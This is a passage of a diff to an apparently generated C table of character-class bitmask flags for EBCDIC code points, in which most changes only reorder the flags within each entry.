(1U<<_CC_ASCII)|(1U<<_CC_CNTRL)|(1U<<_CC_QUOTEMETA), /* U+03 ETX */ (1U<<_CC_ASCII)|(1U<<_CC_CNTRL)|(1U<<_CC_QUOTEMETA), /* 0x04 U+9C ST */ (1U<<_CC_CNTRL)|(1U<<_CC_QUOTEMETA), -/* 0x05 U+09 HT */ (1U<<_CC_ASCII)|(1U<<_CC_BLANK)|(1U<<_CC_CNTRL)|(1U<<_CC_MNEMONIC_CNTRL)|(1U<<_CC_QUOTEMETA)|(1U<<_CC_SPACE), +/* 0x05 U+09 HT */ (1U<<_CC_ASCII)|(1U<<_CC_BLANK)|(1U<<_CC_CNTRL)|(1U<<_CC_QUOTEMETA)|(1U<<_CC_SPACE)|(1U<<_CC_MNEMONIC_CNTRL), /* 0x06 U+86 SSA */ (1U<<_CC_CNTRL)|(1U<<_CC_QUOTEMETA), /* 0x07 U+7F DEL */ (1U<<_CC_ASCII)|(1U<<_CC_CNTRL)|(1U<<_CC_QUOTEMETA), /* 0x08 U+97 EPA */ (1U<<_CC_CNTRL)|(1U<<_CC_QUOTEMETA), /* 0x09 U+8D RI */ (1U<<_CC_CNTRL)|(1U<<_CC_QUOTEMETA), /* 0x0A U+8E SS2 */ (1U<<_CC_CNTRL)|(1U<<_CC_QUOTEMETA), /* U+0B VT */ (1U<<_CC_ASCII)|(1U<<_CC_CNTRL)|(1U<<_CC_QUOTEMETA)|(1U<<_CC_SPACE)|(1U<<_CC_VERTSPACE), -/* U+0C FF */ (1U<<_CC_ASCII)|(1U<<_CC_CNTRL)|(1U<<_CC_MNEMONIC_CNTRL)|(1U<<_CC_QUOTEMETA)|(1U<<_CC_SPACE)|(1U<<_CC_VERTSPACE), -/* U+0D CR */ (1U<<_CC_ASCII)|(1U<<_CC_CNTRL)|(1U<<_CC_MNEMONIC_CNTRL)|(1U<<_CC_QUOTEMETA)|(1U<<_CC_SPACE)|(1U<<_CC_VERTSPACE), +/* U+0C FF */ (1U<<_CC_ASCII)|(1U<<_CC_CNTRL)|(1U<<_CC_QUOTEMETA)|(1U<<_CC_SPACE)|(1U<<_CC_VERTSPACE)|(1U<<_CC_MNEMONIC_CNTRL), +/* U+0D CR */ (1U<<_CC_ASCII)|(1U<<_CC_CNTRL)|(1U<<_CC_QUOTEMETA)|(1U<<_CC_SPACE)|(1U<<_CC_VERTSPACE)|(1U<<_CC_MNEMONIC_CNTRL), /* U+0E SO */ (1U<<_CC_ASCII)|(1U<<_CC_CNTRL)|(1U<<_CC_QUOTEMETA), /* U+0F SI */ (1U<<_CC_ASCII)|(1U<<_CC_CNTRL)|(1U<<_CC_QUOTEMETA), /* U+10 DLE */ (1U<<_CC_ASCII)|(1U<<_CC_CNTRL)|(1U<<_CC_QUOTEMETA), @@ -292,8 +292,8 @@ /* U+12 DC2 */ (1U<<_CC_ASCII)|(1U<<_CC_CNTRL)|(1U<<_CC_QUOTEMETA), /* U+13 DC3 */ (1U<<_CC_ASCII)|(1U<<_CC_CNTRL)|(1U<<_CC_QUOTEMETA), /* 0x14 U+9D OSC */ (1U<<_CC_CNTRL)|(1U<<_CC_QUOTEMETA), -/* 0x15 U+0A LF */ (1U<<_CC_ASCII)|(1U<<_CC_CNTRL)|(1U<<_CC_MNEMONIC_CNTRL)|(1U<<_CC_QUOTEMETA)|(1U<<_CC_SPACE)|(1U<<_CC_VERTSPACE), -/* 0x16 U+08 BS */ (1U<<_CC_ASCII)|(1U<<_CC_CNTRL)|(1U<<_CC_MNEMONIC_CNTRL)|(1U<<_CC_QUOTEMETA), +/* 0x15 U+0A LF */ (1U<<_CC_ASCII)|(1U<<_CC_CNTRL)|(1U<<_CC_QUOTEMETA)|(1U<<_CC_SPACE)|(1U<<_CC_VERTSPACE)|(1U<<_CC_MNEMONIC_CNTRL), +/* 0x16 U+08 BS */ (1U<<_CC_ASCII)|(1U<<_CC_CNTRL)|(1U<<_CC_QUOTEMETA)|(1U<<_CC_MNEMONIC_CNTRL), /* 0x17 U+87 ESA */ (1U<<_CC_CNTRL)|(1U<<_CC_QUOTEMETA), /* U+18 CAN */ (1U<<_CC_ASCII)|(1U<<_CC_CNTRL)|(1U<<_CC_QUOTEMETA), /* U+19 EOM */ (1U<<_CC_ASCII)|(1U<<_CC_CNTRL)|(1U<<_CC_QUOTEMETA), @@ -310,7 +310,7 @@ /* 0x24 U+84 IND */ (1U<<_CC_CNTRL)|(1U<<_CC_QUOTEMETA), /* 0x25 U+85 NEL */ (1U<<_CC_CNTRL)|(1U<<_CC_QUOTEMETA)|(1U<<_CC_SPACE)|(1U<<_CC_VERTSPACE), /* 0x26 U+17 ETB */ (1U<<_CC_ASCII)|(1U<<_CC_CNTRL)|(1U<<_CC_QUOTEMETA), -/* 0x27 U+1B ESC */ (1U<<_CC_ASCII)|(1U<<_CC_CNTRL)|(1U<<_CC_MNEMONIC_CNTRL)|(1U<<_CC_QUOTEMETA), +/* 0x27 U+1B ESC */ (1U<<_CC_ASCII)|(1U<<_CC_CNTRL)|(1U<<_CC_QUOTEMETA)|(1U<<_CC_MNEMONIC_CNTRL), /* 0x28 U+88 HTS */ (1U<<_CC_CNTRL)|(1U<<_CC_QUOTEMETA), /* 0x29 U+89 HTJ */ (1U<<_CC_CNTRL)|(1U<<_CC_QUOTEMETA), /* 0x2A U+8A VTS */ (1U<<_CC_CNTRL)|(1U<<_CC_QUOTEMETA), @@ -318,7 +318,7 @@ /* 0x2C U+8C PLU */ (1U<<_CC_CNTRL)|(1U<<_CC_QUOTEMETA), /* 0x2D U+05 ENQ */ (1U<<_CC_ASCII)|(1U<<_CC_CNTRL)|(1U<<_CC_QUOTEMETA), /* 0x2E U+06 ACK */ (1U<<_CC_ASCII)|(1U<<_CC_CNTRL)|(1U<<_CC_QUOTEMETA), -/* 0x2F U+07 BEL */ (1U<<_CC_ASCII)|(1U<<_CC_CNTRL)|(1U<<_CC_MNEMONIC_CNTRL)|(1U<<_CC_QUOTEMETA), +/* 0x2F U+07 BEL */ (1U<<_CC_ASCII)|(1U<<_CC_CNTRL)|(1U<<_CC_QUOTEMETA)|(1U<<_CC_MNEMONIC_CNTRL), /* 0x30 U+90 DCS */ (1U<<_CC_CNTRL)|(1U<<_CC_QUOTEMETA), /* 0x31 U+91 PU1 */ (1U<<_CC_CNTRL)|(1U<<_CC_QUOTEMETA), /* 0x32 U+16 SYN */ (1U<<_CC_ASCII)|(1U<<_CC_CNTRL)|(1U<<_CC_QUOTEMETA), @@ -337,14 +337,14 @@ /* 0x3F U+1A SUB */ (1U<<_CC_ASCII)|(1U<<_CC_CNTRL)|(1U<<_CC_QUOTEMETA), /* 0x40 U+20 SP */ (1U<<_CC_ASCII)|(1U<<_CC_BLANK)|(1U<<_CC_CHARNAME_CONT)|(1U<<_CC_PRINT)|(1U<<_CC_QUOTEMETA)|(1U<<_CC_SPACE), /* 0x41 U+A0 NBSP */ (1U<<_CC_BLANK)|(1U<<_CC_PRINT)|(1U<<_CC_QUOTEMETA)|(1U<<_CC_SPACE)|(1U<<_CC_UTF8_IS_CONTINUATION), -/* 0x42 U+E2 I8=A1 a with '^' */ (1U<<_CC_ALPHA)|(1U<<_CC_ALPHANUMERIC)|(1U<<_CC_CASED)|(1U<<_CC_CHARNAME_CONT)|(1U<<_CC_GRAPH)|(1U<<_CC_IDFIRST)|(1U<<_CC_IS_IN_SOME_FOLD)|(1U<<_CC_LOWER)|(1U<<_CC_PRINT)|(1U<<_CC_WORDCHAR)|(1U<<_CC_UTF8_IS_CONTINUATION), -/* 0x43 U+E4 I8=A2 a with diaeresis */ (1U<<_CC_ALPHA)|(1U<<_CC_ALPHANUMERIC)|(1U<<_CC_CASED)|(1U<<_CC_CHARNAME_CONT)|(1U<<_CC_GRAPH)|(1U<<_CC_IDFIRST)|(1U<<_CC_IS_IN_SOME_FOLD)|(1U<<_CC_LOWER)|(1U<<_CC_PRINT)|(1U<<_CC_WORDCHAR)|(1U<<_CC_UTF8_IS_CONTINUATION), -/* 0x44 U+E0 I8=A3 a with grave */ (1U<<_CC_ALPHA)|(1U<<_CC_ALPHANUMERIC)|(1U<<_CC_CASED)|(1U<<_CC_CHARNAME_CONT)|(1U<<_CC_GRAPH)|(1U<<_CC_IDFIRST)|(1U<<_CC_IS_IN_SOME_FOLD)|(1U<<_CC_LOWER)|(1U<<_CC_PRINT)|(1U<<_CC_WORDCHAR)|(1U<<_CC_UTF8_IS_CONTINUATION), -/* 0x45 U+E1 I8=A4 a with acute */ (1U<<_CC_ALPHA)|(1U<<_CC_ALPHANUMERIC)|(1U<<_CC_CASED)|(1U<<_CC_CHARNAME_CONT)|(1U<<_CC_GRAPH)|(1U<<_CC_IDFIRST)|(1U<<_CC_IS_IN_SOME_FOLD)|(1U<<_CC_LOWER)|(1U<<_CC_PRINT)|(1U<<_CC_WORDCHAR)|(1U<<_CC_UTF8_IS_CONTINUATION), -/* 0x46 U+E3 I8=A5 a with '~' */ (1U<<_CC_ALPHA)|(1U<<_CC_ALPHANUMERIC)|(1U<<_CC_CASED)|(1U<<_CC_CHARNAME_CONT)|(1U<<_CC_GRAPH)|(1U<<_CC_IDFIRST)|(1U<<_CC_IS_IN_SOME_FOLD)|(1U<<_CC_LOWER)|(1U<<_CC_PRINT)|(1U<<_CC_WORDCHAR)|(1U<<_CC_UTF8_IS_CONTINUATION), -/* 0x47 U+E5 I8=A6 a with ring */ (1U<<_CC_ALPHA)|(1U<<_CC_ALPHANUMERIC)|(1U<<_CC_CASED)|(1U<<_CC_CHARNAME_CONT)|(1U<<_CC_GRAPH)|(1U<<_CC_IDFIRST)|(1U<<_CC_IS_IN_SOME_FOLD)|(1U<<_CC_LOWER)|(1U<<_CC_NONLATIN1_FOLD)|(1U<<_CC_NONLATIN1_SIMPLE_FOLD)|(1U<<_CC_PRINT)|(1U<<_CC_WORDCHAR)|(1U<<_CC_UTF8_IS_CONTINUATION), -/* 0x48 U+E7 I8=A7 c with cedilla */ (1U<<_CC_ALPHA)|(1U<<_CC_ALPHANUMERIC)|(1U<<_CC_CASED)|(1U<<_CC_CHARNAME_CONT)|(1U<<_CC_GRAPH)|(1U<<_CC_IDFIRST)|(1U<<_CC_IS_IN_SOME_FOLD)|(1U<<_CC_LOWER)|(1U<<_CC_PRINT)|(1U<<_CC_WORDCHAR)|(1U<<_CC_UTF8_IS_CONTINUATION), -/* 0x49 U+F1 I8=A8 n with '~' */ (1U<<_CC_ALPHA)|(1U<<_CC_ALPHANUMERIC)|(1U<<_CC_CASED)|(1U<<_CC_CHARNAME_CONT)|(1U<<_CC_GRAPH)|(1U<<_CC_IDFIRST)|(1U<<_CC_IS_IN_SOME_FOLD)|(1U<<_CC_LOWER)|(1U<<_CC_PRINT)|(1U<<_CC_WORDCHAR)|(1U<<_CC_UTF8_IS_CONTINUATION), +/* 0x42 U+E2 I8=A1 a with '^' */ (1U<<_CC_ALPHANUMERIC)|(1U<<_CC_ALPHA)|(1U<<_CC_CASED)|(1U<<_CC_CHARNAME_CONT)|(1U<<_CC_GRAPH)|(1U<<_CC_IDFIRST)|(1U<<_CC_LOWER)|(1U<<_CC_PRINT)|(1U<<_CC_WORDCHAR)|(1U<<_CC_IS_IN_SOME_FOLD)|(1U<<_CC_UTF8_IS_CONTINUATION), +/* 0x43 U+E4 I8=A2 a with diaeresis */ (1U<<_CC_ALPHANUMERIC)|(1U<<_CC_ALPHA)|(1U<<_CC_CASED)|(1U<<_CC_CHARNAME_CONT)|(1U<<_CC_GRAPH)|(1U<<_CC_IDFIRST)|(1U<<_CC_LOWER)|(1U<<_CC_PRINT)|(1U<<_CC_WORDCHAR)|(1U<<_CC_IS_IN_SOME_FOLD)|(1U<<_CC_UTF8_IS_CONTINUATION), +/* 0x44 U+E0 I8=A3 a with grave */ (1U<<_CC_ALPHANUMERIC)|(1U<<_CC_ALPHA)|(1U<<_CC_CASED)|(1U<<_CC_CHARNAME_CONT)|(1U<<_CC_GRAPH)|(1U<<_CC_IDFIRST)|(1U<<_CC_LOWER)|(1U<<_CC_PRINT)|(1U<<_CC_WORDCHAR)|(1U<<_CC_IS_IN_SOME_FOLD)|(1U<<_CC_UTF8_IS_CONTINUATION), +/* 0x45 U+E1 I8=A4 a with acute */ (1U<<_CC_ALPHANUMERIC)|(1U<<_CC_ALPHA)|(1U<<_CC_CASED)|(1U<<_CC_CHARNAME_CONT)|(1U<<_CC_GRAPH)|(1U<<_CC_IDFIRST)|(1U<<_CC_LOWER)|(1U<<_CC_PRINT)|(1U<<_CC_WORDCHAR)|(1U<<_CC_IS_IN_SOME_FOLD)|(1U<<_CC_UTF8_IS_CONTINUATION), +/* 0x46 U+E3 I8=A5 a with '~' */ (1U<<_CC_ALPHANUMERIC)|(1U<<_CC_ALPHA)|(1U<<_CC_CASED)|(1U<<_CC_CHARNAME_CONT)|(1U<<_CC_GRAPH)|(1U<<_CC_IDFIRST)|(1U<<_CC_LOWER)|(1U<<_CC_PRINT)|(1U<<_CC_WORDCHAR)|(1U<<_CC_IS_IN_SOME_FOLD)|(1U<<_CC_UTF8_IS_CONTINUATION), +/* 0x47 U+E5 I8=A6 a with ring */ (1U<<_CC_NONLATIN1_SIMPLE_FOLD)|(1U<<_CC_NONLATIN1_FOLD)|(1U<<_CC_ALPHANUMERIC)|(1U<<_CC_ALPHA)|(1U<<_CC_CASED)|(1U<<_CC_CHARNAME_CONT)|(1U<<_CC_GRAPH)|(1U<<_CC_IDFIRST)|(1U<<_CC_LOWER)|(1U<<_CC_PRINT)|(1U<<_CC_WORDCHAR)|(1U<<_CC_IS_IN_SOME_FOLD)|(1U<<_CC_UTF8_IS_CONTINUATION), +/* 0x48 U+E7 I8=A7 c with cedilla */ (1U<<_CC_ALPHANUMERIC)|(1U<<_CC_ALPHA)|(1U<<_CC_CASED)|(1U<<_CC_CHARNAME_CONT)|(1U<<_CC_GRAPH)|(1U<<_CC_IDFIRST)|(1U<<_CC_LOWER)|(1U<<_CC_PRINT)|(1U<<_CC_WORDCHAR)|(1U<<_CC_IS_IN_SOME_FOLD)|(1U<<_CC_UTF8_IS_CONTINUATION), +/* 0x49 U+F1 I8=A8 n with '~' */ (1U<<_CC_ALPHANUMERIC)|(1U<<_CC_ALPHA)|(1U<<_CC_CASED)|(1U<<_CC_CHARNAME_CONT)|(1U<<_CC_GRAPH)|(1U<<_CC_IDFIRST)|(1U<<_CC_LOWER)|(1U<<_CC_PRINT)|(1U<<_CC_WORDCHAR)|(1U<<_CC_IS_IN_SOME_FOLD)|(1U<<_CC_UTF8_IS_CONTINUATION), /* 0x4A U+A2 I8=A9 CENT */ (1U<<_CC_GRAPH)|(1U<<_CC_PRINT)|(1U<<_CC_QUOTEMETA)|(1U<<_CC_UTF8_IS_CONTINUATION), /* 0x4B U+2E '.' */ (1U<<_CC_ASCII)|(1U<<_CC_GRAPH)|(1U<<_CC_PRINT)|(1U<<_CC_PUNCT)|(1U<<_CC_QUOTEMETA), /* 0x4C U+3C '<' */ (1U<<_CC_ASCII)|(1U<<_CC_GRAPH)|(1U<<_CC_PRINT)|(1U<<_CC_PUNCT)|(1U<<_CC_QUOTEMETA), @@ -352,15 +352,15 @@ /* 0x4E U+2B '+' */ (1U<<_CC_ASCII)|(1U<<_CC_GRAPH)|(1U<<_CC_PRINT)|(1U<<_CC_PUNCT)|(1U<<_CC_QUOTEMETA), /* 0x4F U+7C '|' */ (1U<<_CC_ASCII)|(1U<<_CC_GRAPH)|(1U<<_CC_PRINT)|(1U<<_CC_PUNCT)|(1U<<_CC_QUOTEMETA), /* 0x50 U+26 '&' */ (1U<<_CC_ASCII)|(1U<<_CC_GRAPH)|(1U<<_CC_PRINT)|(1U<<_CC_PUNCT)|(1U<<_CC_QUOTEMETA), -/* 0x51 U+E9 I8=AA e with acute */ (1U<<_CC_ALPHA)|(1U<<_CC_ALPHANUMERIC)|(1U<<_CC_CASED)|(1U<<_CC_CHARNAME_CONT)|(1U<<_CC_GRAPH)|(1U<<_CC_IDFIRST)|(1U<<_CC_IS_IN_SOME_FOLD)|(1U<<_CC_LOWER)|(1U<<_CC_PRINT)|(1U<<_CC_WORDCHAR)|(1U<<_CC_UTF8_IS_CONTINUATION), -/* 0x52 U+EA I8=AB e with '^' */ (1U<<_CC_ALPHA)|(1U<<_CC_ALPHANUMERIC)|(1U<<_CC_CASED)|(1U<<_CC_CHARNAME_CONT)|(1U<<_CC_GRAPH)|(1U<<_CC_IDFIRST)|(1U<<_CC_IS_IN_SOME_FOLD)|(1U<<_CC_LOWER)|(1U<<_CC_PRINT)|(1U<<_CC_WORDCHAR)|(1U<<_CC_UTF8_IS_CONTINUATION), -/* 0x53 U+EB I8=AC e with diaeresis */ (1U<<_CC_ALPHA)|(1U<<_CC_ALPHANUMERIC)|(1U<<_CC_CASED)|(1U<<_CC_CHARNAME_CONT)|(1U<<_CC_GRAPH)|(1U<<_CC_IDFIRST)|(1U<<_CC_IS_IN_SOME_FOLD)|(1U<<_CC_LOWER)|(1U<<_CC_PRINT)|(1U<<_CC_WORDCHAR)|(1U<<_CC_UTF8_IS_CONTINUATION), -/* 0x54 U+E8 I8=AD e with grave */ (1U<<_CC_ALPHA)|(1U<<_CC_ALPHANUMERIC)|(1U<<_CC_CASED)|(1U<<_CC_CHARNAME_CONT)|(1U<<_CC_GRAPH)|(1U<<_CC_IDFIRST)|(1U<<_CC_IS_IN_SOME_FOLD)|(1U<<_CC_LOWER)|(1U<<_CC_PRINT)|(1U<<_CC_WORDCHAR)|(1U<<_CC_UTF8_IS_CONTINUATION), -/* 0x55 U+ED I8=AE i with acute */ (1U<<_CC_ALPHA)|(1U<<_CC_ALPHANUMERIC)|(1U<<_CC_CASED)|(1U<<_CC_CHARNAME_CONT)|(1U<<_CC_GRAPH)|(1U<<_CC_IDFIRST)|(1U<<_CC_IS_IN_SOME_FOLD)|(1U<<_CC_LOWER)|(1U<<_CC_PRINT)|(1U<<_CC_WORDCHAR)|(1U<<_CC_UTF8_IS_CONTINUATION), -/* 0x56 U+EE I8=AF i with '^' */ (1U<<_CC_ALPHA)|(1U<<_CC_ALPHANUMERIC)|(1U<<_CC_CASED)|(1U<<_CC_CHARNAME_CONT)|(1U<<_CC_GRAPH)|(1U<<_CC_IDFIRST)|(1U<<_CC_IS_IN_SOME_FOLD)|(1U<<_CC_LOWER)|(1U<<_CC_PRINT)|(1U<<_CC_WORDCHAR)|(1U<<_CC_UTF8_IS_CONTINUATION), -/* 0x57 U+EF I8=B0 i with diaeresis */ (1U<<_CC_ALPHA)|(1U<<_CC_ALPHANUMERIC)|(1U<<_CC_CASED)|(1U<<_CC_CHARNAME_CONT)|(1U<<_CC_GRAPH)|(1U<<_CC_IDFIRST)|(1U<<_CC_IS_IN_SOME_FOLD)|(1U<<_CC_LOWER)|(1U<<_CC_PRINT)|(1U<<_CC_WORDCHAR)|(1U<<_CC_UTF8_IS_CONTINUATION), -/* 0x58 U+EC I8=B1 i with grave */ (1U<<_CC_ALPHA)|(1U<<_CC_ALPHANUMERIC)|(1U<<_CC_CASED)|(1U<<_CC_CHARNAME_CONT)|(1U<<_CC_GRAPH)|(1U<<_CC_IDFIRST)|(1U<<_CC_IS_IN_SOME_FOLD)|(1U<<_CC_LOWER)|(1U<<_CC_PRINT)|(1U<<_CC_WORDCHAR)|(1U<<_CC_UTF8_IS_CONTINUATION), -/* 0x59 U+DF I8=B2 sharp s */ (1U<<_CC_ALPHA)|(1U<<_CC_ALPHANUMERIC)|(1U<<_CC_CASED)|(1U<<_CC_CHARNAME_CONT)|(1U<<_CC_GRAPH)|(1U<<_CC_IDFIRST)|(1U<<_CC_IS_IN_SOME_FOLD)|(1U<<_CC_LOWER)|(1U<<_CC_NONLATIN1_FOLD)|(1U<<_CC_NONLATIN1_SIMPLE_FOLD)|(1U<<_CC_PRINT)|(1U<<_CC_WORDCHAR)|(1U<<_CC_UTF8_IS_CONTINUATION), +/* 0x51 U+E9 I8=AA e with acute */ (1U<<_CC_ALPHANUMERIC)|(1U<<_CC_ALPHA)|(1U<<_CC_CASED)|(1U<<_CC_CHARNAME_CONT)|(1U<<_CC_GRAPH)|(1U<<_CC_IDFIRST)|(1U<<_CC_LOWER)|(1U<<_CC_PRINT)|(1U<<_CC_WORDCHAR)|(1U<<_CC_IS_IN_SOME_FOLD)|(1U<<_CC_UTF8_IS_CONTINUATION), +/* 0x52 U+EA I8=AB e with '^' */ (1U<<_CC_ALPHANUMERIC)|(1U<<_CC_ALPHA)|(1U<<_CC_CASED)|(1U<<_CC_CHARNAME_CONT)|(1U<<_CC_GRAPH)|(1U<<_CC_IDFIRST)|(1U<<_CC_LOWER)|(1U<<_CC_PRINT)|(1U<<_CC_WORDCHAR)|(1U<<_CC_IS_IN_SOME_FOLD)|(1U<<_CC_UTF8_IS_CONTINUATION), +/* 0x53 U+EB I8=AC e with diaeresis */ (1U<<_CC_ALPHANUMERIC)|(1U<<_CC_ALPHA)|(1U<<_CC_CASED)|(1U<<_CC_CHARNAME_CONT)|(1U<<_CC_GRAPH)|(1U<<_CC_IDFIRST)|(1U<<_CC_LOWER)|(1U<<_CC_PRINT)|(1U<<_CC_WORDCHAR)|(1U<<_CC_IS_IN_SOME_FOLD)|(1U<<_CC_UTF8_IS_CONTINUATION), +/* 0x54 U+E8 I8=AD e with grave */ (1U<<_CC_ALPHANUMERIC)|(1U<<_CC_ALPHA)|(1U<<_CC_CASED)|(1U<<_CC_CHARNAME_CONT)|(1U<<_CC_GRAPH)|(1U<<_CC_IDFIRST)|(1U<<_CC_LOWER)|(1U<<_CC_PRINT)|(1U<<_CC_WORDCHAR)|(1U<<_CC_IS_IN_SOME_FOLD)|(1U<<_CC_UTF8_IS_CONTINUATION), +/* 0x55 U+ED I8=AE i with acute */ (1U<<_CC_ALPHANUMERIC)|(1U<<_CC_ALPHA)|(1U<<_CC_CASED)|(1U<<_CC_CHARNAME_CONT)|(1U<<_CC_GRAPH)|(1U<<_CC_IDFIRST)|(1U<<_CC_LOWER)|(1U<<_CC_PRINT)|(1U<<_CC_WORDCHAR)|(1U<<_CC_IS_IN_SOME_FOLD)|(1U<<_CC_UTF8_IS_CONTINUATION), +/* 0x56 U+EE I8=AF i with '^' */ (1U<<_CC_ALPHANUMERIC)|(1U<<_CC_ALPHA)|(1U<<_CC_CASED)|(1U<<_CC_CHARNAME_CONT)|(1U<<_CC_GRAPH)|(1U<<_CC_IDFIRST)|(1U<<_CC_LOWER)|(1U<<_CC_PRINT)|(1U<<_CC_WORDCHAR)|(1U<<_CC_IS_IN_SOME_FOLD)|(1U<<_CC_UTF8_IS_CONTINUATION), +/* 0x57 U+EF I8=B0 i with diaeresis */ (1U<<_CC_ALPHANUMERIC)|(1U<<_CC_ALPHA)|(1U<<_CC_CASED)|(1U<<_CC_CHARNAME_CONT)|(1U<<_CC_GRAPH)|(1U<<_CC_IDFIRST)|(1U<<_CC_LOWER)|(1U<<_CC_PRINT)|(1U<<_CC_WORDCHAR)|(1U<<_CC_IS_IN_SOME_FOLD)|(1U<<_CC_UTF8_IS_CONTINUATION), +/* 0x58 U+EC I8=B1 i with grave */ (1U<<_CC_ALPHANUMERIC)|(1U<<_CC_ALPHA)|(1U<<_CC_CASED)|(1U<<_CC_CHARNAME_CONT)|(1U<<_CC_GRAPH)|(1U<<_CC_IDFIRST)|(1U<<_CC_LOWER)|(1U<<_CC_PRINT)|(1U<<_CC_WORDCHAR)|(1U<<_CC_IS_IN_SOME_FOLD)|(1U<<_CC_UTF8_IS_CONTINUATION), +/* 0x59 U+DF I8=B2 sharp s */ (1U<<_CC_NONLATIN1_SIMPLE_FOLD)|(1U<<_CC_NONLATIN1_FOLD)|(1U<<_CC_ALPHANUMERIC)|(1U<<_CC_ALPHA)|(1U<<_CC_CASED)|(1U<<_CC_CHARNAME_CONT)|(1U<<_CC_GRAPH)|(1U<<_CC_IDFIRST)|(1U<<_CC_LOWER)|(1U<<_CC_PRINT)|(1U<<_CC_WORDCHAR)|(1U<<_CC_IS_IN_SOME_FOLD)|(1U<<_CC_UTF8_IS_CONTINUATION), /* 0x5A U+21 '!' */ (1U<<_CC_ASCII)|(1U<<_CC_GRAPH)|(1U<<_CC_PRINT)|(1U<<_CC_PUNCT)|(1U<<_CC_QUOTEMETA), /* 0x5B U+24 '$' */ (1U<<_CC_ASCII)|(1U<<_CC_GRAPH)|(1U<<_CC_PRINT)|(1U<<_CC_PUNCT)|(1U<<_CC_QUOTEMETA), /* 0x5C U+2A '*' */ (1U<<_CC_ASCII)|(1U<<_CC_GRAPH)|(1U<<_CC_PRINT)|(1U<<_CC_PUNCT)|(1U<<_CC_QUOTEMETA), @@ -369,29 +369,29 @@ /* 0x5F U+5E '^' */ (1U<<_CC_ASCII)|(1U<<_CC_GRAPH)|(1U<<_CC_PRINT)|(1U<<_CC_PUNCT)|(1U<<_CC_QUOTEMETA), /* 0x60 U+2D '-' */ (1U<<_CC_ASCII)|(1U<<_CC_CHARNAME_CONT)|(1U<<_CC_GRAPH)|(1U<<_CC_PRINT)|(1U<<_CC_PUNCT)|(1U<<_CC_QUOTEMETA), /* 0x61 U+2F '/' */ (1U<<_CC_ASCII)|(1U<<_CC_GRAPH)|(1U<<_CC_PRINT)|(1U<<_CC_PUNCT)|(1U<<_CC_QUOTEMETA), -/* 0x62 U+C2 I8=B3 A with '^' */ (1U<<_CC_ALPHA)|(1U<<_CC_ALPHANUMERIC)|(1U<<_CC_CASED)|(1U<<_CC_CHARNAME_CONT)|(1U<<_CC_GRAPH)|(1U<<_CC_IDFIRST)|(1U<<_CC_IS_IN_SOME_FOLD)|(1U<<_CC_PRINT)|(1U<<_CC_UPPER)|(1U<<_CC_WORDCHAR)|(1U<<_CC_UTF8_IS_CONTINUATION), -/* 0x63 U+C4 I8=B4 A with DIAERESIS */ (1U<<_CC_ALPHA)|(1U<<_CC_ALPHANUMERIC)|(1U<<_CC_CASED)|(1U<<_CC_CHARNAME_CONT)|(1U<<_CC_GRAPH)|(1U<<_CC_IDFIRST)|(1U<<_CC_IS_IN_SOME_FOLD)|(1U<<_CC_PRINT)|(1U<<_CC_UPPER)|(1U<<_CC_WORDCHAR)|(1U<<_CC_UTF8_IS_CONTINUATION), -/* 0x64 U+C0 I8=B5 A with GRAVE */ (1U<<_CC_ALPHA)|(1U<<_CC_ALPHANUMERIC)|(1U<<_CC_CASED)|(1U<<_CC_CHARNAME_CONT)|(1U<<_CC_GRAPH)|(1U<<_CC_IDFIRST)|(1U<<_CC_IS_IN_SOME_FOLD)|(1U<<_CC_PRINT)|(1U<<_CC_UPPER)|(1U<<_CC_WORDCHAR)|(1U<<_CC_UTF8_IS_CONTINUATION), -/* 0x65 U+C1 I8=B6 A with ACUTE */ (1U<<_CC_ALPHA)|(1U<<_CC_ALPHANUMERIC)|(1U<<_CC_CASED)|(1U<<_CC_CHARNAME_CONT)|(1U<<_CC_GRAPH)|(1U<<_CC_IDFIRST)|(1U<<_CC_IS_IN_SOME_FOLD)|(1U<<_CC_PRINT)|(1U<<_CC_UPPER)|(1U<<_CC_WORDCHAR)|(1U<<_CC_UTF8_IS_CONTINUATION), -/* 0x66 U+C3 I8=B7 A with '~' */ (1U<<_CC_ALPHA)|(1U<<_CC_ALPHANUMERIC)|(1U<<_CC_CASED)|(1U<<_CC_CHARNAME_CONT)|(1U<<_CC_GRAPH)|(1U<<_CC_IDFIRST)|(1U<<_CC_IS_IN_SOME_FOLD)|(1U<<_CC_PRINT)|(1U<<_CC_UPPER)|(1U<<_CC_WORDCHAR)|(1U<<_CC_UTF8_IS_CONTINUATION), -/* 0x67 U+C5 I8=B8 A with RING */ (1U<<_CC_ALPHA)|(1U<<_CC_ALPHANUMERIC)|(1U<<_CC_CASED)|(1U<<_CC_CHARNAME_CONT)|(1U<<_CC_GRAPH)|(1U<<_CC_IDFIRST)|(1U<<_CC_IS_IN_SOME_FOLD)|(1U<<_CC_NONLATIN1_FOLD)|(1U<<_CC_NONLATIN1_SIMPLE_FOLD)|(1U<<_CC_PRINT)|(1U<<_CC_UPPER)|(1U<<_CC_WORDCHAR)|(1U<<_CC_UTF8_IS_CONTINUATION), -/* 0x68 U+C7 I8=B9 C with CEDILLA */ (1U<<_CC_ALPHA)|(1U<<_CC_ALPHANUMERIC)|(1U<<_CC_CASED)|(1U<<_CC_CHARNAME_CONT)|(1U<<_CC_GRAPH)|(1U<<_CC_IDFIRST)|(1U<<_CC_IS_IN_SOME_FOLD)|(1U<<_CC_PRINT)|(1U<<_CC_UPPER)|(1U<<_CC_WORDCHAR)|(1U<<_CC_UTF8_IS_CONTINUATION), -/* 0x69 U+D1 I8=BA N with '~' */ (1U<<_CC_ALPHA)|(1U<<_CC_ALPHANUMERIC)|(1U<<_CC_CASED)|(1U<<_CC_CHARNAME_CONT)|(1U<<_CC_GRAPH)|(1U<<_CC_IDFIRST)|(1U<<_CC_IS_IN_SOME_FOLD)|(1U<<_CC_PRINT)|(1U<<_CC_UPPER)|(1U<<_CC_WORDCHAR)|(1U<<_CC_UTF8_IS_CONTINUATION), +/* 0x62 U+C2 I8=B3 A with '^' */ (1U<<_CC_ALPHANUMERIC)|(1U<<_CC_ALPHA)|(1U<<_CC_CASED)|(1U<<_CC_CHARNAME_CONT)|(1U<<_CC_GRAPH)|(1U<<_CC_IDFIRST)|(1U<<_CC_PRINT)|(1U<<_CC_UPPER)|(1U<<_CC_WORDCHAR)|(1U<<_CC_IS_IN_SOME_FOLD)|(1U<<_CC_UTF8_IS_CONTINUATION), +/* 0x63 U+C4 I8=B4 A with DIAERESIS */ 